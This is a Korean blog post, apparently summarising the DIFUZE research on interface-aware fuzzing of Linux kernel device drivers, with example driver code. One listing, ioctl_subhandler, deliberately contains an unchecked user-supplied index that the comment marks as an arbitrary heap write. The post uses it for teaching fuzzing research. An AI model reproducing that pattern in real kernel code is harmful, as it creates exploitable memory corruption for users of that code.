&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;2220&quot; data-origin-height=&quot;738&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l4eBr/btqD2w8ZuoN/lXJzPLXetbFkw1NiVY4YL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l4eBr/btqD2w8ZuoN/lXJzPLXetbFkw1NiVY4YL1/img.png&quot; data-alt=&quot;[그림 1] DIFUZE 접근 다이어그램&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l4eBr/btqD2w8ZuoN/lXJzPLXetbFkw1NiVY4YL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl4eBr%2FbtqD2w8ZuoN%2FlXJzPLXetbFkw1NiVY4YL1%2Fimg.png&quot; data-origin-width=&quot;2220&quot; data-origin-height=&quot;738&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] DIFUZE 접근 다이어그램&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;DIFUZE는 유효한 ioctl 명령 및 인수 구조체 유형과 같은 드라이버 인터페이스 정보를 추출하기 위해 분석 구성을 사용하여 제공된 커널 소스를 분석합니다. 이러한 구조체의 예를 종합하여 대상 장치로 보내는데, 주어진 입력으로 ioctl 실행을 트리거하고 결국 장치 드라이버에서 크래시가 발견된다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[그림 1]은 시스템의 높은 수준의 워크플로우를 보여준다. DIFUZE는 대상 호스트의 커널 소스 코드(장치 드라이버의 소스 코드를 포함)를 입력으로 요구한다. 리눅스는 GNU(General Public License)에 따라 라이선스가 부여되므로 커널 드라이브 인터페이스 코드와 같이 링크된 모든 소프트웨어도 릴리스해야 한다. 따라서 안드로이드 기기의 커널 소스는 쉽게 구할 수 있고 분석 또한 가능하다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;이 입력이 주어지면, DIFUZE는 여러 단계를 거쳐 장치 드라이버의 상호작용 인터페이스를 복구하고, 인터페이스를 실행하기 위한 정확한 구조체를 생성하고, 대상 호스트의 커널에 의해 이러한 구조체의 처리를 트리거한다. 커널 버그의 트리거는 시스템을 불안정하게 만드는 경우가 많아(중간 또는 재부팅으로 이어짐) DIFUZE의 최종 단계만 대상 호스트에서 수행해야 한다. 다른 단계는 외부 분석 호스트에서 실행되며, 그 결과는 로컬로 기록되고(버그가 트리커 된 경우 입력 재생을 위해) 네트워크 연결 또는 디버그 인터페이스를 통해 대상 호스트로 전송된다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;자세한 내용은 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 372px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 372px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 372px;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Interface recovery&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;첫 번째 단계에서 DIFUZE는 제공된 소스를 분석하여 대상 호스트에서 어떤 드라이버가 활성화되어 있는지, 어떤 장치 파일을 사용하여 상호작용할 수 있는지, 어떤 ioctl 명령을 받을 수 있는지, 이러한 구조체로 이들 명령에 전달 될 구조체를 탐지한다. 이 일련의 분석은 LLVM을 사용하여 구현되며 4절에 자세히 설명되어 있다. 이 단계의 최종 결과는 대상 드라이버, 대상 ioctl 명령어 및 구조체 유형 정의에 대한 장치 파일 이름의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://ko.wikipedia.org/wiki/%ED%8A%9C%ED%94%8C&quot;&gt;튜플(Tuples)&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;집합이다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Structure generation&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;각 구조체에 대해 DIFUZE는 구조체 인스턴스(Instance)를 지속적으로 생성하는데, 이는 이전 단계에서 복구된 유형 정보의 인스턴스화를 나타내는 매모리 내용이다. 이러한 인스턴스는 관련 대상 장치 파일 이름 및 대상 ioctl 명령 식별자와 함께 대상 호스트에 기록 및 전송된다. 이 단계는 5절에서 자세히 설명되어 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://www.samsungsemiconstory.com/2184&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;On-device&lt;/a&gt;&amp;nbsp;execution&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;실제 ioctl 트리거링 &lt;span style=&quot;color: #333333;&quot;&gt;컴포넌트&lt;/span&gt;는 대상 호스트 자체에 있다. 대상 장치 파일 이름, 대상 ioctl 명령 및 생성된 구조체 인스턴스를 수신하면 실행자는 ioctl 실행을 트리거합니다. 이 단계는 6절에서 논의한다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;DIFUZE는 대상에 전송되는 입력 순서를 기록한다. 따라서, 버그가 트리거되고 대상 장치가 크래시날 때, 입력을 재현성과 수동 심사/분석에 사용될 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1&amp;nbsp;Example&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;DIFUZE를 이해할 수 있도록 간단한 드라이버의 예시이다. 이 예는 [목록 1] 구조체 정의, [목록 2] 분석에 약간의 복잡성을 나타내는 copy_from_user 래퍼(wrapper) 함수, [목록 3] ioctl 핸들러, [목록 4] &lt;span style=&quot;color: #333333;&quot;&gt;주 드라이브 초기화 코드로 제시한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1589188872448&quot; class=&quot;c++ arduino&quot; style=&quot;display: block; overflow: auto; padding: 15px; color: #383a42; background: #f6f7f8; font-size: 14px; border-radius: 3px; font-family: Menlo, Consolas, Monaco, monospace; border: 1px solid #dddddd; margin: 20px auto 0px; cursor: default; z-index: 1; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;typedef struct {
	long sub_id;
	char sub_name[32];
} DriverSubstructTwo;

typedef union {
	long meta_id;
	DriverSubstructTwo n_data;
} DriverStructTwo;

typedef struct {
	int idx;
	uint8_t subtype;
	DriverStructTwo *subdata;
} DriverStructOne;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[목록 1] 실행 중인 예제의 구조체 정의. DIFUZE는 이를 자동으로 복구하여 대상 드라이버의 구조체 인식 퍼징 수행&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1589188916375&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int copy_from_user_wrapper(void *buff, void *userp, size_t size) {
	// copy size bytes from address provided by the user (userp)
	return copy_from_user(buff, userp, size);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[목록 2] 많은 실제 드라이버와 마찬가지로, 예제 드라이버는 copy_from_user 래퍼 함수 제공. 이와 같은 래퍼(더욱 복잡한) 때문에 DIFUZE는 중첩 함수 분석 지원&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1589189097983&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;DriverStructTwo dev_data1[16];
DriverStructTwo dev_data2[16];
static bool enable_short; static bool subhandler_enabled;
long ioctl_handler(struct file* file, int cmd, long arg) {
	uint32_t curr_idx;
	uint8_t short_idx; void* argp = (void*)arg;
	DriverStructTwo* target_dev = NULL;
	switch (cmd) {
	case 0x1003:
		target_dev = dev_data2;
	case 0x1002:
		if (!target_dev)
			target_dev = dev_data1; // program continues to execute
		if (!enable_short) {
			if (copy_from_user_wrapper((void*)&amp;amp;curr_idx, argp,
				sizeof(curr_idx))) {
				return -ENOMEM; // failed to copy from user
			}
		}
		else {
			if (copy_from_user_wrapper((void*)&amp;amp;short_idx, argp,
				sizeof(short_idx))) {
				return -ENOMEM; // failed to copy from user
			}
			curr_idx = short_idx;
		}
		if (curr_idx &amp;lt; 16)
			return process_data(&amp;amp;(target_dev[curr_idx]));
		return -EINVAL;
	default:
		if (subhandler_enabled)
			return ioctl_subhandler(file, cmd, argp);
	}
	return -EINVAL;
}

long ioctl_subhandler(struct file* file, int cmd, void* argp) {
	DriverStructOne drv_data = { 0 };
	DriverStructTwo* target_dev;
	if (cmd == 0x1001) {
		if (copy_from_user_wrapper((void*)&amp;amp;drv_data, argp,
			sizeof(drv_data))) {
			return -ENOMEM; // failed to copy from user
		}
		target_dev = dev_data1;
		if (drv_data.subtype &amp;amp; 1)
			target_dev = dev_data2;
		// Arbitrary heap write if drv_data.idx &amp;gt; 16
		if (copy_from_user_wrapper((void*)&amp;amp;(target_dev[drv_data.idx]),
			drv_data.subdata,
			sizeof(DriverStructTwo))) {
			return -ENOMEM; // failed to copy from user
		}
		return 0;
	}
	return -EINVAL;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[목록 3] 명령 식별자에 대한 매우 구체적인 값을 예상하며 각 명령에 적합한 구조로 데이터가 표시될 것으로 예상하는 ioctl 핸들러. ioctl 처리는 여러 기능으로 나뉨&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1589189481649&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static struct cdev driver_devc;
static dev_t client_devt;
static struct file_operations driver_ops;
__init int driver_init(void)
{
    // request minor number
    alloc_chrdev_region(&amp;amp;driver_devt, 0, 1, &quot;example_device&quot;);
    // set the ioctl handler for this device
    driver_ops.unlocked_ioctl = ioctl_handler;
    cdev_init(&amp;amp;driver_devc, &amp;amp;driver_ops);
    // register the corresponding device.
    cdev_add(&amp;amp;driver_devc, MKDEV(MAJOR(driver_devt), 0), 1);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[목록 4] 실행 중인 예제의 주 드라이버 초기화 기능. DIFUZE가 복구해야 하는 드라이버 파일을 동적으로 생성하고, 최상위 ioctl 핸들러를 등록하여 복구&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 인터페이스 복구&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;장치 드라이버의 ioctl를 효율적으로 퍼지하기 위해 DIFUZE는 해당 드라이버의 인터페이스를 복구해야 한다. 장치 드라이버의 인터페이스는 장치와 통신하는 데 사용되는 장치 파일의 이름/경로, 해당 장치에 대한 ioctl 명령에 대한 유효한 값 및 다른 ioctl 명령어에 대한 ioctl 데이터 인수의 구조체 정의로 구성된다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;이 데이터를 복구하기 위해 DIFUZE는 LLVM에 구현된 분석 조합을 사용한다. 리눅스 커널은 LLVM을 이용한 분석(또는 컴파일)에 적합하기 않기 때문에 우선 대체 빌드 절차를 개발했다. 이 작업이 완료되면 장치 드라이버가 생성한 장치 파일의 파일 이름을 식별하고 ioctl 핸들러를 찾아 ioctl 명령 식별자의 유효한 집합을 복구하며 데이터 인수에 대한 구조체 정의를 ioctl 명령으로 검색한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.1 시스템 계측 빌드&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;DIFUZE가 리눅스 장치 드라이버에서 LLVM 분석을 수행할 수 있도록 하기 위해 몇 가지 단계를 수행한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;GCC 컴파일&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;먼저, GCC를 이용하여 컴파일을 위한 대상 호스트의 커널과 드라이버 소스를 설정하는 수동 단계를 수행해야 한다. 이것은 일반적으로 문서화가 잘되어있는 프로세스이지만, 모바일 장치 공급 업체는 GPL로 규정된 소스 코드 릴리스를 쉽게 컴파일할 수 있는 방법을 찾지 못하므로 일부 수동 구성 작업이 필요하다. 일단 소스 트리를 GCC로 컴파일할 수 있게 되면 전체 컴파일을 실행하고 실행된 모든 명령을 기록한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;GCC-LLVM 변환&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;컴파일 단계에서 DIFUZE 용으로 만든 GCC-LLVM 명령 변환 유틸리티를 사용하여 실행된 명령 로그를 처리한다. 이 유틸리티는 GCC에 의해 예상되는 형식에서 LLVM 유틸리티에 의해 예상되는 형식으로 명령 행 플래그를 변환하고 LLVM을 통해 커널 소스를 컴파일할 수 있다. 컴파일 과정에서 LLVM은 각 소스 파일에 대한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://ko.wikipedia.org/wiki/%EB%B0%94%EC%9D%B4%ED%8A%B8%EC%BD%94%EB%93%9C&quot;&gt;바이트코드(Bitecode)&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;파일을 생성한다. 바이트코드 파일에 디버그 정보를 포함시킬 수 있으므로 4.6절에 설명된 구조체 정의를 추출하는 데 도움이 된다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;바이트코드&lt;/span&gt;&amp;nbsp;통합&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;DIFUZE가 수행하는 분석은 각 드라이버에서 별도로 적용된다. 따라서 다양한 바이트코드 파일을 통합하여 드라이버 당 단일 바이트코드 파일을 만든다. 이를 통해 단일 바이트코드 파일에 대한 인터페이스 복구 분석을 수행할 수 있어 분석이 단순화된다. 이 통합 바이트코드 파일은 다음 단계에서 분석을 수행하는 데 사용된다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.2 ioctl 핸들러 식별&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;2.1절에서 논의한 바와 같이, 기기 드라이버와의 상호작용의 대부분은 ioctl 인터페이스를 통해 이루어진다. 사용자 공간에서 애플리케이션은 ioctl() 시스템 호출을 호출하여 파일 설명자를 드라이버의 장치 파일, 명령 식별자 및 필요한 구조화된 데이터 인수에 전달한다. 이 시스템 호출이 커널 공간에서 수신되면 해당 드라이버의 ioctl 핸들러가 호출된다. 그럼 다음 핸들러는 명령 식별자에 따라 드라이버 내부의 다른 기능으로 요청을 전송한다. 실행 중인 예제의 경우 ioctl 핸들러 함수는 ioctl_handler이다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;유효한 명령 식별자와 추가 ioctl 인수의 구조체 정의를 복구하려면 먼저 DIFUZE가 최상위 ioctl 핸들러를 식별해야 한다. 각 드라이버는 각 장치 파일에 대해 최상위 ioctl 핸들러를 등록할 수 있으며, 리눅스 커널에서 이를 수행하는 몇 가지 방법이 있다. 그러나 이러한 모든 방법에는 구조체 집합 중 하나가 ioctl 핸들러에 대한 함수 포인터가 되어 이러한 목적을 위해 만들어진 구조체 집합 중 하나가 생성된다. 구조의 전체 목록과 커널 중 하나에 해당하는 필드 이름은 부록 A에 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;ioctl 핸들러를 식별하기 위한 분석은 간단하다 : LLVM의 분석 기능을 사용하여 드라이버에서 이러한 구조체의 모든 사용을 찾아 ioctl 핸들러 함수 포인터의 할당 값을 복구한다. 실행 중인 예제의 경우 file_operations 구조의 unlocked_ioctl 필드에 대한 쓰기를 식별한다.([목록4] 코드 9행) 그런 다음 ioctl_handler 함수를 ioctl 핸들러로 고려할 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 장치 파일 탐지&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;ioctl 핸들러에 해당하는 장치 파일을 판별하려면 ioctl 핸들러 등록에 제공된 이름을 식별해야 한다(예: 실행중인 예제에서 장치 파일은 &lt;span style=&quot;color: #333333;&quot;&gt;[목록 4] 코드 7행부터 &lt;/span&gt;/dev/example_device).&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;장치의 종류에 따라 리눅스 커널에 파일 이름을 등록하는 방법에는 몇 가지 방법이 있다. 예를 들어, 문자 장치를 등록하면 alloc_chrdev_region 메서드를 사용하여 이름을 장치와 연결한다. proc 장치의 경우 proc_create 메서드가 파일 이름을 제공한다. 또한 3.1절에서 언급한 것처럼 장치 유형에 따라 장치 파일이 있는 디렉터리가 다를 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;ioctl 핸들러가 주어진 경우, 해당 장치 이름을 식별하기 위해 다음 절차를 사용한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;(1) 부록 A에 나열된 운영 구조의 필드 중 하나에 주소를 저장하는 LLVM 저장소 지침을 검색한다.&lt;br /&gt;(2) 등록 기능 중 운영 구조에 대한 참조를 확인한다.&lt;br /&gt;(3) 기기 파일 이름에 대한 인수 값을 분석하여 상수일 경우 반환한다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[목록 4]의 실행 예제의 경우, ioctl 핸들러 함수는 ioctl_handler로 미리 판단한다. ioctl_handler가 코드 9행(1단계)의 file_operations 구조(즉, dirver_ops)에 저장되어 있는지 확인한 다음 코드 10행(2단계)의 cdev_init 함수에 대한 매개 변수로 driver_ops의 사용법을 확인한다. cdev_add 기능은 장치가 문자 장치임을 나타낸다. 코드 7행에서 장치 메타 데이터(alloc_chrdrv_region)에 대한 할당 함수로 돌아가서 세 번째 인자는 장치 이름이고 상수 문자열로 검출하고, /dev/example_device를 장치 이름으로 반환한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1589194508938&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;VOS_INT __init RNIC_InitNetCard(VOS_VOID) {
	...
		snprintf(pstDev-&amp;gt;name, sizeof(pstDev-&amp;gt;name),
			&quot;%s%s&quot;,
			RNIC_DEV_NAME_PREFIX,
			g_astRnicManageTbl[ucIndex].pucRnicNetCardName);
	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[목록 5] 화웨이 Honor 기종의 RNIC 드라이버에서 동적으로 생성된 장치 이름. DIFUZE가 드라이버의 장치 이름을 찾지 못함&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;드라이버는 동적으로 생성된 파일 이름을 사용할 수 있다. 불행히도 정적 분석 고유의 제한 사항으로 인해 이러한 파일 이름이 누락되고 수동 분석으로 대체되어야 한다(물론 완전 자동화 상태를 유지하려면 이러한 장치를 무시해도 된다).&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;다음으로, ioctl 핸들러가 승인한 유효한 명령 식별자를 식별하는 작업을 진행한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;4.4 명령 값 결정&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;ioctl 핸들러가 주어지면 cmd 값(즉, ioctl()의 두 번째 인자)에 대한 모든 동등 제약 조건을 수집하기 위해 정적 절차 간 경로 감지 분석을 수행한다. 그런 다음 범위 분석(Range Analysis)을 사용하여 비교 피연산자의 가능한 값을 복구한다. [목록 3] ioctl 예제의 경우 cmd == 0x1003(10행), cmd == 0x1002(12행), cmd == 0x1001(32~42행)의 제한 조건을 수집한다. 비교 피연산자가 상수이므로 범위 분석을 실행하면 각각 0x1003, 0x1002, 0x1001의 상수가 발생한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;cmd 값에 대한 동등 제한 조건만 고려한다. 거의 모든 드라이버가 등식 비교를 사용하여 유효한 명령 ID를 확인할 수 있다. V4L2 드라이버와 같은 특수한 ioctl 기능이 존재하는데, 드라이버 별 기능은 다른 드라이버에 의해 중첩된 방식으로 호출된다. 부록 B의 이러한 사례에 대한 해결책을 제시한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;4.5 인자 타입 식별&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;ioctl 명령 식별자와 해당 데이터 구조 정의는 다-대-다 관계를 가지고 있다. 각 ioctl 명령어는 여러 다른 구조(예: 전역 구성을 기반으로 함)를 취할 수 있으며, 각 명령 구조는 여러 ioctl 명령으로 전달될 수 있다. 이러한 구조를 찾기 위해, 먼저 리눅스 커널이 사용자 공간에서 커널 공간으로 데이터를 복사하는 데 사용하는 copy_from_user 함수에 대한 모든 경로를 식별한다(예: [목록 3] 코드 16행 &amp;rarr; [목록 2] 코드 3행). 소스 피연산자(즉, copy_from_user의 두 번째 인수)가 ioctl 함수에 전달된 인수가 아닌 &lt;a href=&quot;https://en.wikipedia.org/wiki/Call_site&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;호출 사이트(call-site)&lt;/a&gt;는 무시한다. 이러한 경우 ioctl 인수 유형을 결정하는 데 도움이 되지 않는다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;포인터 형변환은 실제 구조 유형을 숨길 수 있다. [목록 2]의 코드 3행에 있는 copy_from_user가 ioctl 핸들러에서, [목록 3]의 ioctl_handler가 여러 경로(예: 16, 21, 32행 &amp;rarr; 41행)에 도달할 수 있는 실행 예제를 고려해본다. 그러나 호출 사이트에서 소스 피연산자의 실제 유형은 void *이다. 또한 copy_from_user 함수는 래퍼 함수에 위치하여 ioctl 함수(예: [목록 3] 코드 16행 &amp;rarr; [목록 2] 코드 3행)에 의해 간접적으로 호출될 수 있으며, 이는 다른 함수 또는 파일에 분산된다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;이를 처리하기 위해 각 경로에 있는 copy_to_user 함수의 소스 피연산자에 할당될 수 있는 가능한 모든 유형을 결정하기 위해 경로 민감형(path-sensitive&amp;nbsp;type) 간 전파를 수행한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;명령 식별자를 이러한 각 구조 유형에 연결하기 위해 유형 전파(type propagation)를 수행하는 동안 경로에 따라 동등한 제약 조건(4.4절에서 설명)을 수집한다. copy_from_user 함수에 도달하는 경로의 명령 값에 대한 제약 조건은 구조 유형과 관련된 가능한 명령 식별자를 나타낸다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[목록 3]의 실행 예제에서는 먼저 copy_from_user 호출 사이트에 도달하는 모든 경로를 식별한다(실제 호출은 래퍼함수 copy_from_user_wrapper를 통해 발생). [표 1] 2열에는 모든 관련 경로가 표시된다. 간결성을 위해 cmd에 동일한 제약조건을 가지고 있고 같은 호출 사이트에 도달하는 경로를 무시했다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
